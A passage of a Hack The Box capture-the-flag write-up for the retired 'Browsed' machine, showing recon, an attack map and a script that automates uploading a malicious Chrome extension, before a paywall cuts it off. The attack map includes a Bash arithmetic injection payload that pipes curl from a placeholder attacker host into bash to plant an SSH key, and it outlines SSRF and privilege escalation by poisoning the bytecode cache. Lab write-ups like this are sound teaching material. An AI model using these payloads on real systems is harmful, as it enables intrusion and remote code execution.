root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat browsed.md
// writeups

Browsed

10 Jan 2026 · 31 min read · root access
Browsed - maquina de Hack The Box

Executive summary -- Browsed chains a portal that runs third-party Chrome extensions in a real browser (--no-sandbox) with a leaked console.log that reveals an internal vhost (browsedinternals.htb, a public Gitea leaking the source of a second Flask service). From there, a Bash arithmetic-evaluation injection fired via SSRF from the extension's service worker gives RCE as larry, and a Python bytecode-cache poisoning (a world-writable __pycache__) finishes the job as root.

PlatformHack The Box
Operating systemLinux
DifficultyMedium
StatusRetired
Target IP10.129.244.79

Attack map

[80] browsed.htb -- Chrome extension upload portal (ZIP)
   |  the server runs them in a real Chrome, --no-sandbox,
   |  and echoes its console.log via upload.php?output=1
   v
[JS] content script -- location.href leaks the vhost
   |  browsedinternals.htb (not in any wordlist)
   v
[80] browsedinternals.htb -- Gitea 1.24.5, public
   |  leaks larry/MarkdownPreview: Flask on 127.0.0.1:5000,
   |  /routines/<rid> -> [[ "$1" -eq N ]] (bash arithmetic)
   v
[SSRF] service worker + host_permissions
   |  (the content script is blocked by Private Network Access)
   v
[RCE] a[$(curl${IFS}<ATTACKER_IP>:8000|bash)] -- no slashes
   |  the served script plants an SSH key
   v
[SSH] larry  (user.txt)
   |  sudo NOPASSWD /opt/extensiontool/extension_tool.py
   |  imports extension_utils from __pycache__ (777, empty)
   v
[ROOT] PYC poisoning (cloned PEP 552 header) -> SUID bash -> root.txt

How to read this page -- This box moves across four distinct execution contexts, and mixing them up is the fastest way to get lost: kali (our own machine), the server's Chrome (the browser running the uploaded extension), larry@browsed and root@browsed. Every command block states its context.

1. Reconnaissance

1.1 Ports and services

sudo nmap -p- --min-rate 5000 -T4 -Pn -oN nmap_allports.txt 10.129.244.79
sudo nmap -p22,80 -sCV -Pn -oN nmap_services.txt 10.129.244.79
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)

Minimal surface: SSH and an nginx. Everything goes through port 80.

echo "10.129.244.79 browsed.htb" | sudo tee -a /etc/hosts

1.2 The application

The landing page spells out the business model in two paragraphs, quoted verbatim:

"People can share their chrome version 134 based extension with us, and we'll try them out for some time!" -- "Don't hesitate to send your samples, the team will use it for daily use and report afterwards their thoughts on it. [...] upload your chrome extension, in zip format. Make sure your files are directly inside the archive, and not in a folder!"

Translated into attack terms: we upload code that will run in someone else's browser. A pure supply-chain problem. Three constraints worth noting: ZIP, files at the root of the archive, and Chrome 134 → Manifest V3.

1.3 The sample extensions

curl -s http://browsed.htb/samples.html | grep -oE 'href="[^"]*\.zip"'
for f in fontify replaceimages timer; do wget -q http://browsed.htb/$f.zip; done
mkdir -p samples
for f in fontify replaceimages timer; do mkdir -p samples/$f && unzip -oq $f.zip -d samples/$f; done
cat samples/fontify/manifest.json
{
  "manifest_version": 3,
  "name": "Font Switcher",
  "version": "2.0.0",
  "permissions": ["storage", "scripting"],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}

The attack template -- "matches": ["<all_urls>"] injects the content script into any page the browser visits, automatically and without user interaction. Our malicious extension will be this same template, with a different content.js.

Fun detail: replaceimages/content.js points at an image called why-is-larry-so-evil -- first hint of a system username.

1.4 Reverse-engineering the portal

The upload page promises an "Output (takes ~10s)" panel with a copy button: the server gives us something back. That's worth gold -- we won't be working blind. But automating the upload with curl has two traps.

Trap 1 -- the Content-Type. A first direct attempt fails:

curl -s -i -X POST http://browsed.htb/upload.php -F "extension=@ext.zip"
HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=eo3igf02qhbsepuqpket9gaoda; path=/
Location: upload.php

# following the redirect with cookies:
Invalid file type or size.

Why it fails -- The server validates $file['type'] === 'application/zip', i.e. the multipart part's Content-Type, not the file's real content. curl -F "extension=@ext.zip" sends application/octet-stream by default and gets rejected. It has to be forced:

curl -F "extension=@ext.zip;type=application/zip"

From a real browser this never shows up, because Chrome already sends the correct type. It's a trip-up exclusive to whoever automates with curl.

Trap 2 -- where the output lives. The POST answers with a bodyless 302. The page's own JS reveals the rest:

function pollOutput() {
    fetch('upload.php?output=1')
        .then(r => r.text())
        .then(txt => { ... });
}
window.onload = function() { pollOutput(); }

The result is stored in the PHP session and retrieved with a separate GET. With that, the full working loop comes together:

#!/bin/bash
# Packs ./ext (files at the ROOT of the zip), uploads it, and fetches the output
cd "$(dirname "$0")"
rm -f ext.zip
(cd ext && zip -qr ../ext.zip .)
rm -f ck.txt
curl -s -m 180 -c ck.txt -b ck.txt -X POST http://browsed.htb/upload.php \
     -F "extension=@ext.zip;type=application/zip" -o /dev/null
sleep "${1:-14}"
echo "----- OUTPUT -----"
curl -s -m 60 -b ck.txt "http://browsed.htb/upload.php?output=1"

Spending five minutes on this script saves half an hour later: from here on, every exploit iteration is ./pack_upload.sh and reading the output.

🔒 Clearance required

This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.

See Root Access plans

No account? Create one free then upgrade from your console.